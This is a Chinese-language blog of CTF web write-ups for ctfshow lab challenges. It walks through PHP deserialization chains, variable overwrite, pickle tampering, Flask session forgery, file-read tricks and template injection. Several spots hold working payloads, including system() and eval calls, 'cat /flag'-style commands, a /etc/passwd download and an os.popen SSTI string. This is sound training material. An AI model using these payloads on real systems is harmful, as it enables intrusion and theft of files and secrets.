闲来无事,做点web练练手,感觉web好有意思。本来做polar的题目呢,太卡了,索性来了ctf show
新手杯
这个看名字很适合我这样的新手打
easy_eval
".$code);
}
这道题关闭了一个小标签。
我们可以用script标签<script language="php">system("ls /")</script>
剪刀石头布
看源码这部分:
if ($result=="You Win"){
$_SESSION['win']+=1;
} else {
$_SESSION['win']=0;
}
很明显是通过win这个参数来决定是否提供flag。思路卡住了
看大佬博客:CTFSHOW新手杯WEB方向部分WP前几天做了几个CTFSHOW新人杯的题目,感觉题目还挺好玩的,于是写了几个WEB题 - 掘金
原来是session反序列化,利用PHP_SESSION_PLOAD_PROGRASS进行session包含,模拟session生成。
原代码含有一个destruct方法,自然而然想到反序列化调用,在那里有反序列化的入口点呢?
其实观察到session.serialize_handler = php,也就是:(来源于豆包)
- 存储时:PHP 把
$_SESSION里的键值对,按键名|序列化后的键值的格式写入 SESSION 文件;比如$_SESSION['user'] = 'test',写入文件的内容是:user|s:4:"test"; - 读取时:PHP 读取 SESSION 文件内容,按
|分割成「键名」和「键值」,只对|后面的键值部分做反序列化,然后赋值给$_SESSION[键名]。
那就好办了。先构造恶意数据:
log = '/var/www/html/flag.php';
}
}
$a = new Game();
echo serialize($a);
//O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
利用session文件包含的恶意网址:
回显就是flag:
repairman
观察url后面有一个mod参数,修改一下看看。
Your mode is the guest!hello,the repairman! hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
应该是需要调用一个cmd函数,它的过滤比较严格。那只能考虑使用admin的cmd了。
这里应该是利用PHP的变量覆盖漏洞。让来自于cookie的secret的值等于这个:md5('admin'.$config['secret'])
可以看到这个函数:$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
看了其他大佬wp:ctfshow新手杯repairman(parse_str覆盖变量+传参数组) - hithub - 博客园可以利用变量覆盖漏洞。可以参考这个帖子:干货|一文带你了解PHP变量覆盖 - FreeBuf网络安全行业门户

虽说成功但是没有回显。可以尝试写一个一句话木马,我懒得搞了,直接将flag内容写入本地文件算了。这里用cat config.php>/1.txt
用yakit改方法不成功,用hackbar成了

baby_pickle
传参name=999回显出来了。

那说明这里很可能存在模板注入,测试半天没看到,原来是还有一个源码忘记下载了,汗!
# Author:
# Achilles
# Time:
# 2022-9-20
# For:
# ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = "欢迎来到新手村" + user.name + "
\n" + "只有成为大菜鸡才能得到flag" + "
"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
user = pickle.load(f)
if user.id != 0:
message = "你不是大菜鸡
"
return message
else:
message = "恭喜你成为大菜鸡
\n" + flag + "
"
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
以上是源码,可以看到我们需要get_flag必须得保证user_id是大菜鸡也就是0。
根据自己写一个代码,发现二者区别很简单:这里需要注意name被序列化进去。方便我们了,本身程序也是需要name去找对应的文件的。

就是这里的I0和I2的区别,现在用cyberchef base64一下。调用change接口交换即可.500错误就是输错了

这里简单介绍一下payload:
change?name=base64(name)&newname=base64(name以后的)
base的时候cyberchef有一些空白红色报错的干扰字符要去除,会干扰base结果
然后访问getflag即可

简单的数据分析
根据主页提示访问txt得到python代码
D = random.randint(100, 200)
pData = [numpy.random.random(D)*100,numpy.random.random(D)*100,numpy.random.random(D)*100]
try:
data = request.form.getlist('data[]')
data = list(map(float,data))
data = numpy.array(data)
except:
msg="数据转换失败"
try:
distance =[numpy.linalg.norm(A-data) for A in pData]
avgdist = numpy.mean(numpy.abs(distance - numpy.mean(distance))**2)
if avgdist<0.001:
msg= flag
else:
msg= f"您的数据与三个聚类中心的欧拉距离分别是
{distance}均方差为:{avgdist}"
except:
msg="未提交数据或数据维度有误"
这他妈不会是密码题吧,我是有点看不懂,操
发给豆包分析下算法,果然靠不住
WriteUps/Y-2022/ctfshow 新手杯#CTFShow平台#Solo#1/readme.md at main · GhostFrankWu/WriteUps
观察,传参data[]越大方差越小,输入非常非常大的数字就行了。
但是写的话好感动,摘抄一下:
如果我没有猜错的话,
你一定使用了大量的数据进行了拟合,
你可能使用了人工智能的工具。
不知道你有没有想过,
在数据如此透明的今天
在信息泄露层出不穷的现在
就在此时
就在此刻
我们到底还能守护住多少秘密?
能在这场比赛周走到这一步的朋友
请收下来自萌新阿狸的敬意。
ctfshow{ef169de3-f62c-48b2-a5d8-41304a3a18b4}
未来的路,很长
未来的风险,很多
但无需绝望
因为有更多的朋友在一路同行
也有有更多工具将为我们提供帮助
让我们心怀期许,保持微笑。
年CTF
新年必须打年CTF
除夕
是一道PHP特性的考点,这是弱类型比较。传一个浮点数就行

初三
代码被下划线搞得可读性非常差,我们放在sumline text打开,替换下划线为字母

首先需要知道PHP 中 {} 和 [] 在变量 / 数组访问时是等价的,换行不影响语法
这里用到另一个知识:参考这个博客ctfshow_年ctf-wp_ctfshow年ctf-CSDN博客
phpinfo()和字符串弱比较结果是等于1的。
代码美化后如下所示:
说白了就是一个弱比较,然后借助$$调用函数,这一步还得按照原来的下划线来。
注意到题目的传参:
?__=echo&___=a&____=b&_____=c&a[b][c]=print
这里就改几个值即可,拿下

初六
依旧是反序列化的题目。
secret="";
}
function __call($method,$argv){
return call_user_func($this->key, array($method,$argv));
}
function getSecret($key){
$key=$key?$key:$this->key;
return $this->createSecret($key);
}
function createSecret($key){
return base64_encode($this->key.$this->secret);
}
function __get($arg){
global $flag;
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret;
}
function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);
}
function __invoke(){
return $this->$secret;
}
function __toString(){
return base64_encode($this->secret().$this->secret);
}
function __destruct(){
$this->secret = "";
}
}
highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
$secret = $obj->getSecret($key);
print("你提交的key是".$key."\n生成的secret是".$secret);
}
这位大佬讲解的非常详细:ctfshow 年ctf-CSDN博客
看外部函数,会调用getSecret,进而调用Creat。分析调用链,其实最关键的就是toString,它触发后会触发__call,随后调用_get,这里flag值被传递给没有的变量,所以调用set。然后就是我们的flag出来了
关键就是触发toString,我们可以利用外部代码,。给key传参即可
exp:
key = $this;
}
}
$a = new happy2year();
echo urlencode(serialize($a));
防止被转义用urlencode
2023愚人杯
easy_flask
注册一个账号进去,因为题目提示flask了,自然想到session

确实可以解密出来,接下来就是seek密钥了,找到密钥后就能伪造。
登进去有一个learn按钮,点进去能看到源码,美滋滋看到key
伪造的payload:{"loggedin":true,"role":"admin","username":"admin"}

爆了一个接口:/download/?filename=fakeflag.txt,看看是不是SSRF
下载/etc/passwd能够下载。估计能实现任意文件下载.先下载本地的app.py文件看看(show接口可看到文件名)

发现敏感接口。利用__import__("os").popen("ls").read()执行命令即可
easy_class(未解决)
应该也是考察代码审计:
define('ctfshow',self::__REF_VAL_SIZE__);
$this->define('flag',strlen($flag));
$this->neaten();
$this->fill('flag',$flag);
$this->fill('ctfshow',$_POST['data']);
if($this->read('ctfshow')===$this->read('flag')){
echo $flag;
}
}
private function fill($ref,$val){
rewind($this->cache);
fseek($this->cache, $this->ref_table[$ref]+23);
$arr = str_split($val);
foreach ($arr as $s) {
fwrite($this->cache, pack("C",ord($s)));
}
for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) {
fwrite($this->cache, pack("C","\x00"));
}
$this->cursor= ftell($this->cache);
}
public static function clear($var){
;
}
private function neaten(){
$this->ref_table['_clear_']=$this->cursor;
$arr = str_split("_clear_");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
$arr = str_split(__NAMESPACE__."\C::clear");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
$this->write(0x36d,'Q');
$this->write(0x30,'C');
for ($i=1; $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
}
private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
call_user_func($f,$p);
}
private function define($ref,$size){
$this->checkRef($ref);
$r = str_split($ref);
$this->ref_table[$ref]=$this->cursor;
foreach ($r as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
fwrite($this->cache,pack("v",$size));
fwrite($this->cache,pack("C",0x31));
$this->cursor= ftell($this->cache);
for ($i=0; $i < $size; $i++) {
$this->write("\x00",'a');
}
}
private function read($ref){
if(!array_key_exists($ref,$this->ref_table)){
throw new \Exception("Ref not exists!", 1);
}
if($this->ref_table[$ref]!=0){
$this->seekCursor($this->ref_table[$ref]);
}else{
rewind($this->cache);
}
$cref = fread($this->cache, 20);
$csize = unpack("v", fread($this->cache, 2));
$usize = fread($this->cache, 1);
$val = fread($this->cache, $csize[1]);
return $this->truncation($val);
}
private function write($val,$fmt){
$this->seek();
fwrite($this->cache,pack($fmt,$val));
$this->cursor= ftell($this->cache);
}
private function seek(){
rewind($this->cache);
fseek($this->cache, $this->cursor);
}
private function truncation($data){
return implode(array_filter(str_split($data),function($var){
return $var!=="\x00";
}));
}
private function seekCursor($cursor){
rewind($this->cache);
fseek($this->cache, $cursor);
}
private function checkRef($ref){
$r = str_split($ref);
if(sizeof($r)>self::__REF_SIZE__){
throw new \Exception("Refenerce size too long!", 1);
}
if(is_numeric($r[0]) || $this->checkByte($r[0])){
throw new \Exception("Ref invalid!", 1);
}
array_shift($r);
foreach ($r as $s) {
if($this->checkByte($s)){
throw new \Exception("Ref invalid!", 1);
}
}
}
private function checkByte($check){
if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
return true;
}
if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4
&& ord($check) !== self::__REF_OFFSET_6){
return true;
}
return false;
}
function __construct(){
$this->cache=fopen("php://memory","wb");
}
public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}
}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;
$c->main();
参考文章:2023CTFSHOW愚人杯WEB部分WP | Lanb0's blog|一个默默无闻的网安爱好者
猛地一看介绍类似于pwn的栈溢出思路。
easy_php
也是一个反序列化,但是不能以O或者a开头
ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
那就是说明存在正则过滤。如何破局?看了php反序列化进阶(绕过篇)!wakeup or 正则怎么绕过?全网最详细!小白0到1看这篇就够了!_php反序列化绕过-CSDN博客
学到了用O:+4绕过。这个正号是可选的,加不加不影响,刚好可以过滤正则表达式,但是这道题不适用
原来是有更加nb的绕过方式。具体见上,大意是利用原生类,能绕过wakeup,还能支持反序列化。
exp:
a = new ctfshow();
echo (serialize($a));
这个 payload 的执行流程是:
- 反序列化
ArrayObject 对象时,不会触发 ctfshow 类的 __wakeup(因为 __wakeup 属于 ctfshow 类,只有反序列化 ctfshow 类本身才会触发); - 当脚本结束时,
ArrayObject 和内部的 ctfshow 对象都会被销毁,触发 ctfshow 类的 __destruct 方法; - 最终执行
system($this->ctfshow),也就是 cat /f* 命令(匹配根目录下所有以 f 开头的文件,比如 flag 文件)。
暗网聊天室(暂未解决)
参考WP:CTFSHOW第三届愚人杯WP | CN-SEC 中文网
进入黑客商店,提示访问已被记载入日志,瞬间想到日志能否被利用。发现并不是
此外,右上角能进入一个RSA解密的页面,暂时不清楚有什么用。
访问robots.txt,其包含一个备份文件,得到一串代码,大概意思是访问api参数的地方,我们怀疑是SSRF,让他读取下题目提示的9999端口,注释里面包含3个公钥:
我们还需要拿到私钥才能逐个解密,现在点击右上角拦截插件,观察进一步提示:

根据这个页面的提示,实际上这个聊天室加密原理就是A的消息三层加密,逐个节点解开,最终获取明文。明文会发送给B的ip。现在看了大佬博客才知道,我们可以把自己的IP直接放到节点3那里,而不必要纠结于密钥分发。
在update接口,能找到服务器分发的一个密钥和IP,看来我们就是其中的一个节点。
而我一直迷惑不知道我是哪个节点,看图猛然发现标红了俩地方,看来我们是节点1.现在我打算自己写一个python脚本解答这个题目,当然最后报错不断,动用AI修复了脚本。这里RSA加密的位数等我不是特别理解,还需进一步巩固
整理下线索:
1.需要给下一个节点发送消息(request模块)(拦截模块的传递给下一个暴露了API)
2.盗用(复用)题目给出的密钥和RSA加密方式
3.伪造用户B的ip为咱们自己的(也就是shop页面提示的)
4.再次访问update API,看我们收到的消息。
exp:
easy_signin
给了一个滑稽.jpg。首先看看这个网站源码,并无信息,只是一个长长的base编码图片
将图片下载到本地,没有明显提示
观察URL,img参数会接受一个base64编码字符串,所以联想到SSRF漏洞。直接输入/flag的编码会报错

利用伪协议:php://filter/read=convert.base64-encode/resource=index.php读取源码,然后就拿到源码base64,解码即可
";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}
被遗忘的反序列化
这道题是利用反序列化思路。里面有不少类,我不太会搞序列化的题目,参考了以下WP:CTFshow愚人杯-被遗忘的反序列化 - Ssh1y - 博客园
text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
思路无外乎利用魔术方法和原生类。
以下类应该是我们的突破口,因为其有一个危险函数Eval,但是调用它得先拿到cipher函数,估计其在check.php
public function aaa()
{
$get = $_GET['get'];
$get = cipher($get);
if ($get === "p8vfuv8g8v8py") {
eval ($_POST["eval"]);
}
}
那还得想办法拿到check.php内容。恰好有一个file_get_content函数被调用,我们可以用这个读取check.php
public function __wakeup()
{
if (!preg_match("/php|63|\*|\?/i", $this->key)) {
$this->key = file_get_contents($this->file);
} else {
echo "不行哦";
}
}
这个正则表达式虽然对key做了限制,可惜我们读取的内容在this->file。因此无需大惊小怪,那么先利用这个wakeup读取文件吧。当然我们需要注意,这个key没法被echo出来,参考其他文章得知,实际上给一个引用即可,echo aaa的时候,aaa传参为key的引用就行,有点像C语言/
exp:
file = "php://filter/convert.base64-encode/resource=check.php";
$a->aaa =& $a->key;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}
hackbar搞一个AAAAAA请求头请求即可。然后得到回显如下:
10000) {
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
可以看出其就是一个移位密码,可以简单写一个python还原它的算法:
说白了就是凯撒加密
def cipher_decode(str,shift):
result=''
des='qwertyuiopasdfghjklzxcvbnm123456789'
for i in range(0,len(str)):
old_index=(des.index(str[i])+shift+len(des))%len(des)
result+=des[old_index]
return result
if __name__=="__main__":
print(cipher_decode("p8vfuv8g8v8py",4))
#fe1ka1ele1efp
然后就可以着手构造RCE链条,需要调用漏洞函数aaa,就必须先触发__clone魔术方法,那就得先调用__invoke(),想要调用invoke就必须得调用toSring,刚好w_wuw_w的destruct方法能调用toSring
总结出来一句话就是,先利用w_wuw_w类的__destruct(),此时会调用gBoBg类的__toString,这时候会调用w_wu_w的__invoke()方法,这个方法紧接着会调用后门函数aaa(),只需要构造好每一步的参数即可。
刚开始exp构造没有删除俩私有属性,构造出来的exp不简洁还老是失败,后来删除后就成功了,真神奇,卧槽他么的
coos = $a;//触发invoke
$a->aaa = $b;//触发toString
echo serialize($a);
看了高手的思路,问了豆包,知道了利用原生类获取txt文件:
GlobIterator 是 PHP 内置的迭代器类,核心功能是遍历匹配指定通配符规则的文件 / 目录,比如:
new GlobIterator("/*.txt"):遍历根目录下所有 .txt 文件;new GlobIterator("./*.txt"):遍历当前目录下所有 .txt 文件(. 代表当前目录)。
关键特性:GlobIterator 实现了 __toString() 方法,当用 echo 输出这个对象时,会自动打印匹配到的第一个文件名—— 这正是我们需要的 “获取 txt 文件名” 的核心。
但是这道题获取check.php也是可以做出来的!
easy_ssti
网页源码注释提示源码在app.zip
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
因此查询到接口是/hello/<format string>。这里可以考虑python模板注入了。先输入表达式看会不会被渲染,只要被{{}}包裹都能被渲染
输入payload1查看可用类:{{"".__class__.__base__.__subclasses__()}}
接下来找到索引,接着利用即可.这里参考了hello ctf,用的是 <class 'warnings.catch_warnings'>打的。

输入/会被当作目录。可以用编码绕过,我这里直接用request绕过了。
参考了CTFSHOW 愚人杯easy_ssti_ctfshow easyssti-CSDN博客
{{''.__class__.__base__.__subclasses__()[213].__init__.__globals__.__builtins__["eval"]('__import__("os").popen("`echo Y2F0IC9mbGFn|base64 -d`").read()')}}
payload在上面
浙公网安备 33010602011771号